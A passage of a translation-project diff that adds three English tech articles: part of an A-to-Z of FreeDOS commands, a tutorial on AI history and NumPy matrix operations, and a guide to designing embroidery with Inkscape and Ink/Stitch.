not correct, mail me (see help text). +Printing black as white and white as black +which internally uses /I of this GRAPHICS. +You can use the following command directly instead of +GRAPHICS [your options] in the future: +LH GRAPH-HP /I +Note that GRAPH-HP allows extra options: +  /E economy mode, /1 use LPT1, /2 use LPT2, /3 use LPT3, +  /R for random instead of ordered dither +  /C for 300dpi instead of 600dpi +Driver to make 'shift PrtScr' key work +even in CGA, EGA, VGA, MCGA graphics +modes loaded, in HP PCL mode. +``` + +### H is for HELP + +If you're new to FreeDOS, you can get hints on how to use the different commands by typing `HELP`. This brings up the FreeDOS Help system, with documentation on all the commands: + +![Image of FreeDos help system][6] + +### I is for IF + +You can add conditional statements to your command line or *batch file* using the `IF` statement. `IF` makes a simple test, then executes a single command. For example, to print the result "It's there" if a certain file exists, you can type: + +``` +C:\>if exist kernel.sys echo It's there +It's there +``` + +If you want to test the opposite, use the `NOT` keyword before the test. For example, to print "Not equal" if two strings are not the same value, type this: + +``` +C:\>if not "a"=="b" echo Not equal +Not equal +``` + +### J is for JOIN + +Early DOS versions were fairly simple; the first version of DOS didn't even support directories. To provide backwards compatibility for those older programs, we have the `JOIN` program as a neat workaround. `JOIN` replaces a path with a drive letter, so you can put an old program in its own subdirectory, but access it using a single drive letter. + +Let's say you had an old application called `VC` that doesn't understand directories. To keep working with `VC`, you can "join" its path to a drive letter. For example: + +``` +JOIN V: D:\VC +``` + +FreeDOS implements `JOIN` as `SWSUBST`, which also combines features from the similar `SUBST` command. To join the `D:\VC` path to a new drive letter called `V:`, type: + +``` +C:\>swsubst v: d:\vc +C:\>dir v: +Volume in drive V is DATA +Volume Serial Number is 212C-1DF8 + +Directory of V:\ + +. 02-21-2022 10:35p +.. 02-21-2022 10:35p +VC COM 27,520 07-14-2019 4:48p + +1 file(s) 27,520 bytes +2 dir(s) 48,306,176 bytes free +``` + +### K is for KEYB + +DOS assumes a US keyboard layout by default. If your keyboard is different, you can use the `KEYB` command to load a new keyboard language layout. For example, to load a German keyboard layout, type: + +``` +C:\>keyb gr +FreeDOS KEYB 2.01 - (c) Aitor Santamaría Merino - GNU GPL 2.0 +Keyboard layout : C:\FREEDOS\BIN\KEYBOARD.SYS:GR [858] (3) +``` + +### L is for LABEL + +FreeDOS names each floppy drive and hard drive with a *label*. These labels provide a handy way to identify what a disk might contain. The `LABEL` command was immensely useful when you needed store files across a number of different floppy disks, where you might label one floppy "Data" and another floppy as "Games." + +To assign a new label to a drive, or to change the existing label on a drive, use LABEL like this: + +``` +D:\>label d: data +D:\>dir /w +Volume in drive D is DATA +Volume Serial Number is 212C-1DF8 + +Directory of D:\ + +[123] [ABILITY] [ASEASY] [GAMES2] [QUATTRO] +[SRC] [TEMP] [THE] [VC] [WORD] +[WS400] EDLIN16.EXE EDLIN32.EXE MYENV.BAT +3 file(s) 113,910 bytes +11 dir(s) 48,306,176 bytes free +``` + +### M is for MEM + +Running programs and loading drivers takes memory. To see how much memory your system has, and how much memory is free for running DOS programs, use the `MEM` command: + +``` +C:\>mem + +Memory Type Total Used Free +---------------- -------- -------- -------- +Conventional 639K 11K 628K +Upper 104K 18K 86K +Reserved 281K 281K 0K +Extended (XMS) 15,224K 537K 14,687K +---------------- -------- -------- -------- +Total memory 16,248K 847K 15,401K +  +Total under 1 MB 743K 29K 714K +  +Total Expanded (EMS) 8,576K (8,781,824 bytes) +Free Expanded (EMS) 8,192K (8,388,608 bytes) +  +Largest executable program size 628K (643,104 bytes) +Largest free upper memory block 84K ( 85,728 bytes) +FreeDOS is resident in the high memory area. +``` + +### N is for NANSI + +If you want to add a little color to the FreeDOS command line, you can use ANSI escape sequences. These sequences are so named because each starts with code 33 (the `ESC` character) and a special sequence of characters, as defined by the American National Standards Institute, or ANSI. + +FreeDOS supports ANSI escape sequences through the `NANSI.SYS` driver. With `NANSI` loaded, your FreeDOS console interprets the ANSI escape sequences, such as setting the text colors. + +![Image of Nansi][8] + +### O is for oZone + +FreeDOS is a command line operating system, but some folks prefer to use a graphical user interface instead. That's why FreeDOS 1.3 includes several graphical desktops. One desktop I like is called oZone, which provides a sleek, modern-looking interface. + +![Image of Ozone GUI][9] + +Note that oZone has a few annoying bugs, and could use some love from a developer out there. If you're interested in making oZone even better, feel free to download the source code. + +### P is for PROMPT + +The standard FreeDOS command-line prompt tells you where you are in the filesystem. When you first boot FreeDOS, your prompt looks like `C:\>`, which means the "\" (root) directory on the "C:" drive. The ">" character indicates where you can type a command. + +If you prefer different information on your prompt, use the `PROMPT` command to change it. You can represent different information with a special code preceded with `$`, such as `$D` for the date and `$T` for the time. For example, you can make your FreeDOS command line look like a Linux prompt with the `$$` instruction, to print a single dollar sign: + +``` +C:\>prompt $$ +$ +``` + +Type `PROMPT /?` to see a list of all special codes. + +### Q is for QBASIC + +FreeDOS doesn't actually have QBASIC. That was a proprietary BASIC programming environment for MS-DOS. Instead, we provide several open source compilers, including some for BASIC programming. + +The FreeBASIC Compiler should compile most QBASIC programs out there. Here's a simple "guess the number" example: + +``` +dim number as integer +dim guess as integer +randomize timer +number = int( 10 * rnd() ) + 1 +print "Guess the number from 1 to 10:" +do +input guess +if guess < number then print "Too low" +if guess > number then print "Too high" +loop while guess <> number +print "That's right!" +``` + +Use the `FBC` command to compile the program with FreeBASIC: + +``` +C:\DEVEL\FBC>fbc guess.bas +``` + +Here's a quick demonstration of that simple game: + +``` +C:\DEVEL\FBC>guess +Guess the number from 1 to 10: +? 5 +Too high +? 3 +Too low +? 4 +That's right! +``` + +### R is for REM + +Comments are great when writing programs; comments help us understand what the program is supposed to do. You can do the same in batch files using the `REM` command. Anything after the `REM` is ignored in a batch file. + +``` +REM this is a comment +``` + +### S is for SET + +The FreeDOS command line uses a set of variables called *environment variables* that let you customize your system. You can set these variables with the `SET` command. For example, use the `DIRCMD` variable to control how `DIR` arranges directory listings. To set the `DIRCMD` variable, use the `SET` command: + +``` +SET DIRCMD=/O:GNE +``` + +This tells `DIR` to order (O) the output by grouping (G) directories first, then sorting the results by name (N) and extension (E). + +### T is for TYPE + +The `TYPE` command is one of the most-often used DOS commands. `TYPE` displays the contents of a file, similar to `cat` on Linux. + +``` +C:\DEVEL>type hello.c +#include + +int +main() +{ +puts("Hello world"); +return 0; +} +``` + +### U is for UNZIP + +On Linux, you may be familiar with the standard Unix archive command: `tar`. There's a version of tar on FreeDOS too (and a bunch of other popular archive programs), but the de facto standard archiver on DOS is `ZIP` and `UNZIP`. Both are installed in FreeDOS 1.3 by default. + +Let's say I had a zip archive of some files. If I want to extract the entire Zip file, I could just use the `UNZIP` command and provide the Zip file as a command-line option. That extracts the archive starting at my current working directory. Unless I'm restoring a previous version of something, I usually don't want to overwrite my current files. In that case, I will want to extract the archive to a new directory. You can specify the destination path with the `-d` ("destination") command-line option: + +``` +D:\SRC>unzip monkeys.zip -d monkeys.new +Warning: TZ environment variable not found, cannot use UTC times!! +Archive: monkeys.zip +creating: monkeys.new/monkeys/ +inflating: monkeys.new/monkeys/banana.c +inflating: monkeys.new/monkeys/banana.obj +inflating: monkeys.new/monkeys/banana.exe +creating: monkeys.new/monkeys/putimg/ +inflating: monkeys.new/monkeys/putimg/putimg.c +inflating: monkeys.new/monkeys/putimg/putimg.obj +inflating: monkeys.new/monkeys/putimg/putimg.exe +``` + +To learn more about the `ZIP` and `UNZIP` commands, read [How to archive files on FreeDOS][11]. + +### V is for VER + +In the old days of DOS, the `VER` command reported the DOS distribution you were running, such as "MS-DOS 5.0.D" With FreeDOS, the `VER` command gives you additional details, such as the version of the FreeDOS Shell: + +``` +C:\DEVEL>ver +FreeCom version 0.85a - WATCOMC - XMS_Swap [Jul 10 2021 19:28:06] +``` + +If you also want to see the FreeDOS kernel version and the DOS compatibility level, add the `/R` option: + +``` +C:\DEVEL>ver /r + +FreeCom version 0.85a - WATCOMC - XMS_Swap [Jul 10 2021 19:28:06] + +DOS version 7.10 +FreeDOS kernel 2043 (build 2043 OEM:0xfd) [compiled May 14 2021] +``` + +### W is for WHICH + +The FreeDOS command line can run programs from a list of different directories, identified in a `PATH` variable. You can use the `WHICH` command to identify exactly where a program is located. Just type `WHICH` plus the name of the program you want to locate: + +``` +C:\>which xcopy +xcopy C:\FREEDOS\BIN\XCOPY.EXE +``` + +### X is for XCOPY + +The `COPY` command copies only files from one place to another. If you want to extend the copy to include any directories, use the `XCOPY` command instead. I usually add the `/E` option to include all subdirectories, including empty ones, so I can copy the entire directory tree. This makes an effective backup of any project I am working on: + +``` +D:\SRC>xcopy /e monkeys monkeys.bak +Does MONKEYS.BAK specify a file name +or directory name on the target (File/Directory)? d +Copying D:\SRC\MONKEYS\PUTIMG\PUTIMG.C +Copying D:\SRC\MONKEYS\PUTIMG\PUTIMG.OBJ +Copying D:\SRC\MONKEYS\PUTIMG\PUTIMG.EXE +Copying D:\SRC\MONKEYS\BANANA.C +Copying D:\SRC\MONKEYS\BANANA.OBJ +Copying D:\SRC\MONKEYS\BANANA.EXE +6 file(s) copied +``` + +### Y is for Yellow + +This isn't a command, but interesting trivia about how DOS displays colors. If you've looked carefully at FreeDOS, you've probably noticed that text only comes in a limited range of colors—sixteen text colors, and eight background colors. + +The IBM 5153 color display presented color to the user by lighting up tiny red, green, and blue phosphor dots at different brightness levels to create a palette of 16 text colors and 8 background colors. Early PCs could only display the background color in the "normal intensity" level; only text colors could use bright colors. + +If you look at the text colors, you have black, blue, green, cyan, red, magenta, orange, and white. The "bright" versions of these colors are bright black (a dull gray), bright blue, bright green, bright cyan, bright red, bright magenta, yellow, and bright white. The "bright" version of orange is actually yellow. There is no "bright orange." + +If you want to learn more about text colors, read our article about [Why FreeDOS has 16 colors][12]. + +### Z is for ZIP + +You can use `ZIP` at the DOS command line to create archives of files and directories. This is a handy way to make a backup copy of your work or to release a "package" to use in a future FreeDOS distribution. For example, let's say I wanted to make a backup of my project source code, which contains these source files: + +``` +D:\SRC>zip -9r monkeys.zip monkeys +zip warning: TZ environment variable not found, cannot use UTC times!! +adding: monkeys/ (stored 0%) +adding: monkeys/banana.c (deflated 66%) +adding: monkeys/banana.obj (deflated 26%) +adding: monkeys/banana.exe (deflated 34%) +adding: monkeys/putimg/ (stored 0%) +adding: monkeys/putimg/putimg.c (deflated 62%) +adding: monkeys/putimg/putimg.obj (deflated 29%) +adding: monkeys/putimg/putimg.exe (deflated 34%) +``` + +ZIP sports a ton of command-line options to do different things, but the command line options I use most are `-r` to process directories and subdirectories recursively, and `-9` to provide the maximum compression possible. `ZIP` and `UNZIP` use a Unix-like command line, so you can combine options behind the dash: `-9r` gives maximum compression and include subdirectories in the Zip file. + +For more details about how to use the `ZIP` and `UNZIP` commands, read [How to archive files on FreeDOS][13]. + +### New FreeDOS guides + +Ready for the next step in your FreeDOS journey? Check out our new eBooks and start experimenting with FreeDOS now! + +**[A guide to using FreeDOS][14]** + +**[An advanced guide to FreeDOS internals][15]** + +Image by: (Jim Hall, CC BY-SA 40) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/26-freedos-commands + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/freedos-fish-laptop-color.png +[2]: https://opensource.com/article/22/6/linux-attr-command +[3]: https://opensource.com/sites/default/files/2022-06/FREEDedit_0.png +[4]: https://opensource.com/sites/default/files/2022-06/Freededit-save.png +[5]: https://opensource.com/Linux%20find%20cheat%20sheet +[6]: https://opensource.com/sites/default/files/2022-06/Freedhelp.system.png +[7]: https://opensource.com/article/22/6/linux-cheat-command +[8]: https://opensource.com/sites/default/files/2022-06/FreeDnansi.png +[9]: https://opensource.com/sites/default/files/2022-06/FreeDozone.png +[10]: https://opensource.com/article/21/1/fortran +[11]: https://opensource.com/article/21/6/archive-files-freedos +[12]: https://opensource.com/article/21/6/freedos-sixteen-colors +[13]: https://opensource.com/article/21/6/archive-files-freedos +[14]: https://opensource.com/downloads/guide-using-freedos +[15]: https://opensource.com/downloads/advanced-freedos diff --git a/sources/tech/20220629 AI- Some History and a Lot More about Matrices.md b/sources/tech/20220629 AI- Some History and a Lot More about Matrices.md new file mode 100644 index 0000000000..51cf393255 --- /dev/null +++ b/sources/tech/20220629 AI- Some History and a Lot More about Matrices.md @@ -0,0 +1,105 @@ +[#]: subject: "AI: Some History and a Lot More about Matrices" +[#]: via: "https://www.opensourceforu.com/2022/06/ai-some-history-and-a-lot-more-about-matrices/" +[#]: author: "Deepu Benson https://www.opensourceforu.com/author/deepu-benson/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +AI: Some History and a Lot More about Matrices +====== + +![AI-Some-History-and-a-Lot-More-about-Matrices][1] + +*In the first article on this series on AI (published in OSFY, June 2022), we discussed how fields like AI, machine learning, deep learning, data science, etc, are related yet distinct from each other. We also made a few difficult choices regarding the programming language, tools, etc, which will be used throughout this series. Finally, we started discussing matrices. In this article, we will discuss more about matrix theory, the heart of AI. But before we proceed any further, let us discuss the history of AI.* + +first of all, why is a discussion on the history of AI essential? Well, there were a few times in history when there was great enthusiasm around research on AI, but on many of those occasions the huge expectations about the potential of AI went wrong. So, we need to learn some history of AI to understand whether this time we really are going to do wonders with AI or is it yet another bubble that is about to burst. + +One important question that needs to be answered is: when did our fascination for artificial intelligence start? Was it after the invention of digital computers or did it start even before? I believe the quest for an omniscient being capable of answering all questions dates back to the beginning of civilisation. The Oracle of Delphi in the ancient times was one such supposedly divine being capable of answering all the queries asked by people. The quest for creative machines outwitting human intelligence was also fascinating to us from ancient times. There were several failed attempts to make machines capable of playing chess. For example, Mechanical Turk was an infamous fake chess playing machine constructed in the late 18th century. The inventions of logarithm by John Napier, the Pascal’s calculator by Blaise Pascal, difference engine by Charles Babbage, etc, were all predecessors to the development of artificial intelligence. Further, if you go through the history of mankind, you will find countless other real and imaginary (fake) moments hoping to achieve intelligence beyond the reach of the human brain. However, irrespective of all these achievements, the search for true AI began with the invention of digital computers. + +However, if that is the case, the important question is: what were some of the milestones in the history of AI up until today? As mentioned earlier, the invention of digital computers is the single most significant event in the search for artificial intelligence. Unlike electro-mechanical devices where scalability was dependent on power requirements, digital devices simply benefited technological advancement like the transition from vacuum tubes to transistors to integrated circuits to present day very large-scale integration (VLSI) technology. + +Another important phase in the development of AI could be traced back to the first theoretical analysis of AI by Allan Turing. The Turing test proposed by him suggests one of the earliest methods to test artificial intelligence. The test may not be relevant today but it was one of the first attempts to define artificial intelligence. It can be summarised as follows. Behind a curtain, there is either a person named A or a machine named B. You can talk with him/it for say 30 minutes, after which you should be able to identify whether you were conversing with a person or a machine. With the powerful chatbots of today, it is easy to see that such a test will not identify true AI. But in the early 1950s this did give a theoretical framework to understand AI. + +In the late 1950s, a programming language called Lisp was developed by John McCarthy. This was one of the earliest high-level programming languages. Until then, machine languages and assembly languages (notoriously difficult to use) were used for computer programming. A very powerful machine, a very powerful language to communicate with it, and computer scientists being the optimists and dreamers made the hope for artificially intelligent machines reasonable for the first time in the history of humanity. In the early 1960s, the hopes for artificially intelligent machines were at their peak. Of course, there were a lot of developments in the computing world, but were there any wonders? Sadly, no. So, the 1960s saw hope and despair about AI for the first time. However, computer science was developing at a pace that is unparalleled in any field of human endeavour. + +Then came the 70s and the 80s, where algorithms played a major role. A lot of new and efficient algorithms were developed during this period. The famous textbook ‘The Art of Computer Programming’ written by Donald Knuth (I request you to read about this person, in the world of computer science he is either Gauss or Euler) had its first volume published in the late 1960s marking the beginning of the algorithmic era. A lot of general and graph algorithms were developed during these years. Further, programming based on artificial neural networks was also introduced during this time. Though McCulloch and Pitts were the pioneers in proposing artificial neural networks as far back as the 1940s, it took decades to become a mainstream technique. Today, deep learning is almost exclusively based on artificial neural networks. Such developments in the field of algorithms led to a resurgence in research in the field of artificial intelligence in the 1980s. However, this time, limitations in communication and computing powers derailed progress in this area. For a second time, AI couldn’t live up to the huge expectations it had generated. Then came the 90s, Y2K, and the present day. Once again there is a lot of enthusiasm and hope about the positive impact of AI based applications. + +Based on our discussion, it is easy to see that there were at least two other occasions in the digital era when AI was promising. On both those occasions AI didn’t live up to its expectations. Is the current enthusiasm around AI a similar one? Of course, this is a very difficult question to answer. But in my personal opinion, this time AI is going to make a huge impact. But what are the factors that made me make such a prediction? First, very powerful computing devices are cheaply available nowadays. Unlike in the 1960s or 1980s, when a handful of such powerful machines were available, we now have them in the millions and billions. Second, there are large data sets available today for training AI and machine learning based applications. Imagine an AI engineer working in the field of digital image processing in the 90s. How many digital images were available for training his/her algorithms? Well, maybe a few thousands or tens of thousands. A cursory search on the Internet will tell you that the data science platform Kaggle (a subsidiary of Google) itself has more than ten thousand data sets. The large amount of data produced on the Internet every day makes training of algorithms a lot easier. Third, high speed connectivity has made it easy to collaborate with large groups. Imagine the difficulty of computer scientists collaborating with each other until the first decade of the 21st century. The present day speed of the Internet has made collaborative AI based projects like Google Colab, Kaggle, Project Jupyter, etc, a reality. Owing to these three factors, I believe this time AI is here for good and will have some excellent applications. + +![Matrices A, B, C and D][2] + +### More about matrices + +Now that we are somewhat familiar with the history of AI, it is time to revisit one of the main themes of this tutorial on AI — matrices and vectors. In the last article, we began discussing these. This time we are going to dive a little deeper into the world of matrix theory. I will begin by pointing your attention to Figures 1 and 2, which show eight matrices (A, B, C and D, and matrices E, F, G and H). Why so many matrices in a tutorial on AI and machine learning? First, as mentioned in the previous article in this series, matrices are the core of linear algebra, and linear algebra is the heart of machine learning, if not the brain. Second, each of these matrices does serve a specific purpose in the following discussion. + +![Matrices E, F, G and H][3] + +Let us see how matrices can be represented and how some details about them can be obtained. Figure 3 shows how matrix A is represented with NumPy. Though they are not equivalent, we use the terms matrix and array as if they are synonyms. + +![Matrix A with NumPy][4] + +I urge you to carefully learn how a matrix is created using the function array of NumPy. There is also a function matrix offered by NumPy to create two-dimensional arrays and matrices. However, this function will be deprecated in the future and its use is no longer encouraged. We have created matrix A and Figure 3 also shows some details about it. The line of code A.size tells us about the number of elements in the array. In this case, it is 9. The line of code A.nidm tells the dimension of the array. In this case, it is easy to see that matrix A is two-dimensional. The line of code A.shape gives us the order of matrix A. The order of a matrix is the number of rows and columns of that matrix. Notice that A is a 3 x 3 matrix (3 rows and 3 columns). Though I am not explaining any further, knowing the size, dimension, and shape of an array is a little tricky with NumPy. Figure 4 shows you why the size, dimension and shape of a matrix should be identified carefully. Minor changes while defining an array could lead to changes in its size, shape, and dimension. Hence, from Figure 4, it is clear that a programmer should be extra careful while defining matrices. + +![Size, dimension and shape of an array][5] + +Now let us perform some basic matrix operations. Figure 5 shows how two matrices A and B are added. Indeed, there are two distinct Pythonic ways to add the two matrices, either using the function add of NumPy or the operator plus (+) for matrix addition. A very important point to remember is that two matrices can be added only if they are of the same order. For example, two 4 x 3 matrices can be added whereas a 3 x 4 matrix and a 2 x 3 matrix cannot be added. However, since programming is different from mathematics, NumPy does not follow this rule in practice. Figure 5 also shows how matrices A and D are added. Remember that, in the mathematical world, this sort of matrix addition is not valid. A rule called broadcasting decides how matrices of different orders should be added. We won’t be discussing broadcasting at this point but if you are familiar with C or C++, then typecasting of variables might give you a hint as to what happens when broadcasting rules are applied in Python. So, if you want to make sure that you are performing matrix addition in the true mathematical sense, it would be safe if the following test is performed and the answer is True: + +![Matrix addition][6] + +``` +A.shape == B.shape +``` + +It can be verified that if you try to add matrices D and H, then it will give you an error. + +Please don’t think that matrix addition is the only operation we are going to spend time on. Of course, there are a lot more matrix operations. Matrix subtraction and multiplication are illustrated in Figure 6. Notice that subtraction and multiplication also have two distinct Pythonic ways to perform the required operations. The function subtract or the operator for matrix subtraction (-) and the function matmul or the operator for matrix multiplication (@), can be used for performing matrix subtraction and multiplication, respectively. Execution of the operator * is also shown in Figure 3. Notice that the function matmul of NumPy and the operator @ perform matrix multiplication in the mathematical sense. So, be careful with the operator * while dealing with matrices. + +![More matrix operations][7] + +Two matrices of order (m x n) and (p x q) can be multiplied if and only if n is equal to p. Further, the product matrix will be of order (m x q). Figure 7 shows more examples of matrices being multiplied. Notice that E@A is possible whereas A@E leads to an error. Carefully go through the examples of D@G and G@D. Using the shape attribute, identify which among the eight matrices can be multiplied with each other. Though by the strict mathematical definition, a matrix is two-dimensional, we will be dealing with arrays of higher dimensions. So, just to give an example, let us see how a three-dimensional array is represented using NumPy. The following line of code creates a three-dimensional array named T. + +![More examples of matrix multiplication][8] + +``` +T = np.arr ay([[[11,22],[33,44]],[[55,66],[77,88]]]) +``` + +### An introduction to Pandas + +So far, we were entering matrices from the keyboard. What if we want to read a large matrix from a text file or a data set (very large for that matter) and process it? Here comes another powerful Python library to our rescue, Pandas. Let us begin by reading a small CSV (comma-separated value) file, which is a type of text file (don’t worry, soon we will read Microsoft Excel and LibreOffice/OpenOffice Calc files). Figure 8 shows how a CSV file called cricket.csv is read, and the first three lines in it are printed on the terminal. More features of Pandas will be discussed in the coming articles in this series. + +![Reading a CSV file with Pandas][9] + +### Rank of a matrix + +The rank of a matrix is the dimension of the vector space spanned by its rows (columns). The three italicised words, dimension, vector space and spanned, may not be familiar to you unless you remember your college level linear algebra. If you fully understand what is meant by the rank of a matrix, I am happy and no further explanation is required. However, if you are not familiar with the terms, think of it as the amount of information contained in the matrix. Again, this is a gross oversimplification and I am not proud of it. Figure 9 shows how the ranks of matrices are found out. Matrix A has rank 3 because none of its rows can be obtained from any other rows in it. Matrix B’s rank is just 1, because the second and third rows can be obtained by multiplying the first row ([1, 2, 3]) with 2 and 3, respectively. Matrix C only has one non-zero row and hence has rank 1. Similarly, the ranks of the other matrices can also be understood. Rank is very relevant in our discussion and we will revisit this topic in later articles in this series. + +![Finding the rank of a matrix][10] + +Now it is time for us to wind up our discussion for this month. In the next article in this series, we will add more tools to our arsenal so that they can be used for developing AI and machine learning based applications. We will also discuss terms like neural networks, supervised learning, unsupervised learning, etc, in more detail. Further, from the next article onwards, we will use JupyterLab in place of the Linux terminal. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/ai-some-history-and-a-lot-more-about-matrices/ + +作者:[Deepu Benson][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/deepu-benson/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/AI-Some-History-and-a-Lot-More-about-Matrices-1.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-1-Matrices-A-B-C-and-D.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-2-Matrices-E-F-G-and-H.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-3-Matrix-A-with-NumPy-350x167.jpg +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-4-Size-dimension-and-shape-of-an-array-350x292.jpg +[6]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-5-Matrix-addition-350x314.jpg +[7]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-6-More-matrix-operations-1-350x375.jpg +[8]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-7-More-examples-of-matrix-multiplication-590x293.jpg +[9]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-8-Reading-a-CSV-file-with-Pandas-350x123.jpg +[10]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-9-Finding-the-rank-of-a-matrix-350x366.jpg diff --git a/sources/tech/20220629 DIY Embroidery with Inkscape and Ink-Stitch.md b/sources/tech/20220629 DIY Embroidery with Inkscape and Ink-Stitch.md new file mode 100644 index 0000000000..46ac51b66c --- /dev/null +++ b/sources/tech/20220629 DIY Embroidery with Inkscape and Ink-Stitch.md @@ -0,0 +1,253 @@ +[#]: subject: "DIY Embroidery with Inkscape and Ink/Stitch" +[#]: via: "https://fedoramagazine.org/diy-embroidery-with-inkscape-and-ink-stitch/" +[#]: author: "Benson Muite https://fedoramagazine.org/author/fed500/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +DIY Embroidery with Inkscape and Ink/Stitch +====== +![][1] + +Picture http://commons.wikimedia.org/wiki/User:Ryj, CC BY-SA 3.0 http://creativecommons.org/licenses/by-sa/3.0/, via Wikimedia Commons + +### Introduction + +Embroidered shirts are great custom gifts and can also be a great way to show your love for open source. This tutorial will demonstrate how to design your own custom embroidered polo shirt using [Inkscape][2] and [Ink/Stitch][3]. Polo shirts are often used for embroidery because they do not tear as easily as t-shirts when pierced by embroidery needles, though with care t-shirts can also be embroidered. This tutorial is a follow on article to [Make More with Inkscape and Ink/Stitch][4] and provides complete steps to create your design. + +### Logo on Front of Shirt + +Pictures with only a few colors work well for embroidery. Let us use a public domain black and white [SVG][5] image of [Tux][6] created by [Ryan Lerch][7] and [Garret LeSage][8]. + +![Black and white image of Tux][9] + +Download this public domain image, [tux-bw.svg][10], to your computer, and import it into your document as an editable SVG image using File>Import... + +![Image of Tux with text to be embroidered][11] + +### Use a Transparent Background + +It is helpful to have a checkerboard background to distinguish background and foreground colors. Click File>Document Properties… and then check the box to enable a checkerboard background. + +![Dialog box to enable checkerboard document background][12] + +Then close the document properties dialog box. You can now distinguish between colors used on Tux and the background color. + +![Tux can be distinguished from the document background][13] + +### Use a Single Color For Tux + +Type s to use the Select and Transform objects tool, and click on the image of Tux to select it. Then click on Object>Fill and Stroke, in the menu. Type n to use the Edit paths by Nodes tool and click on a white portion of Tux. Within the Fill and Stroke pane change the fill to No paint to make this portion of Tux transparent. + +![Tux in one color][14] + +Thi leaves the black area to be embroidered. + +### Enable Embroidering of Tux + +Now convert the image for embroidery. Type s to use the Select and Transform objects tool and click on the image of Tux to select it again. Choose Extensions>Ink/Stitch>Fill Tools>Break Apart Fill Objects … In the resulting pop up, choose Complex, click Apply, and wait for the operation to complete. + +![Dialog to Break Apart Fill Objects][15] + +For further explanation of this operation, see the [Ink/Stitch documentation][16]. + +### Resize Document + +Now resize the area to be embroidered. A good size is about 2.75 inches by 2.75 inches. Press s to use the Select and Transform objects tool, and select Tux, hold down the shift key, and also select any text area. Then choose Object>Transform …, click on Scale in the dialogue box, change the measurements to inches, check the Scale proportionally box and choose a width of 2.75 inches, and click Apply. + +![Resized drawing][17] + +Before saving the design, reduce the document area to just fit the image. Press s to use the Select and Transform objects tool, then select Tux. + +![Objects selected to determine resize area][18] + +Choose File>Document Properties… then choose Resize to content: or press Ctrl+Shift+R + +![Dialog to resize page][19] + +The document is resized. + +![Resized document][20] + +### Save Your Design + +You now need to convert your file to an embroidery file. A very portable format is the [DST (Tajima Embroidery Format)][21] format, which unfortunately does not have color information, so you will need to indicate color information for the embroidery separately. First save your design as an Inkscape SVG file so that you retain a format that you can easily edit again. Choose File>Save As, then select the Inkscape SVG format and enter a name for your file, for example AnotherAwesomeFedoraLinuxUserFront.svg and save your design. Then choose File>Save As and select the DST file format and save your design. Generating this file requires calculation of stitch locations, this may take a few seconds. You can preview the DST file in Inkscape, but another very useful tool is [vpype-embroidery][22] + +Install vpype-embroidery on the command line using a [Python virtual environment][23] via the following commands: + +``` +virtualenv test-vpype +source test-vpype/bin/activate +pip install matplotlib +pip install vpype-embroidery +pip install vpype[all] +``` + +Preview your DST file (in this case named AnotherAwesomeFedoraLinuxUserFront.dst which should be replaced by the filename you choose if it is different), using this command: + +``` +vpype eread AnotherAwesomeFedoraLinuxUserFront.dst show +``` + +![Image of Tux created from the DST file and shown using Vpype-embroider][24] + +Check the dimensions of your design, if you need to resize it, you should resize the SVG design file before exporting it as a DST file. Resizing the DST file is not recommended since it contains stitch placement information, regenerate this placement information from the resized SVG file to obtain a high quality embroidered result. + +### Text on the Back of the Shirt + +Now create a message to put on the back of your polo shirt. Create a new Inkscape document using File>New. Then choose Extensions>Ink/Stitch>Lettering.Choose a font, for example Geneva Simple Sans created by [Daniel K. Schneider][25] in Geneva. If you want to resize your text, do so at this point using the scale section of the dialog box since resizing it once it is in Inkscape will distort the resulting embroidered pattern. Add your text, + +``` +Another Awesome +Fedora Linux User +``` + +![Image showing the text, Another Awesome Fedora Linux User, in a dialog box along with the choosen embroidery font, Geneva Simple Sans][26] + +A preview will appear, click on Quit + +![Preview of stitches for the text, Another Awesome Fedora Linux User, created by Ink/Stitch][27] + +Then click on Apply and Quit in the lettering creation dialog box. Your text should appear in your Inkscape document. + +![Text to be embroidered in the top left corner of an otherwise empty Inkscape document][28] + +Create a checkered background and resize the document to content by opening up the document properties dialog box File>Document Properties… + +![Document properties dialog box to resize a document][29] + +Your document should now be a little larger than your text. + +![Document is a little larger than the text][30] + +#### Clean Up Stitches + +Many commercial embroidery machines support jump instructions which can save human time in finishing the embroidered garment. Examine the text preview image. A single continuous thread sews all the letters. Stitches joining the letters are typically removed. These stitches can either be cut by hand after the embroidery is done, or they can be cut by the embroidery machine if it supports jump instructions. Ink/Stitch can add these jump instructions. + +Add jump instructions by selecting View>Zoom>Zoom Page to enlarge the view of the drawing. Press s to choose the Select and transform objects tool. Choose Extensions>Ink/Stitch>Commands>Attach Commands to Selected Objects. A dialog box should appear, check just the Trim thread after sewing this object option. + +![Attach commands dialog][31] + +Then click in the drawing area and select the first letter of the text + +![Select first letter of the text][32] + +Then click Apply, and some cut symbols should appear above the letter. + +![Scissor symbols above first letter][33] + +Repeat this process for all letters. + +![Separately embroidered letters][34] + +Now save your design, as before, in both SVG and DST formats. 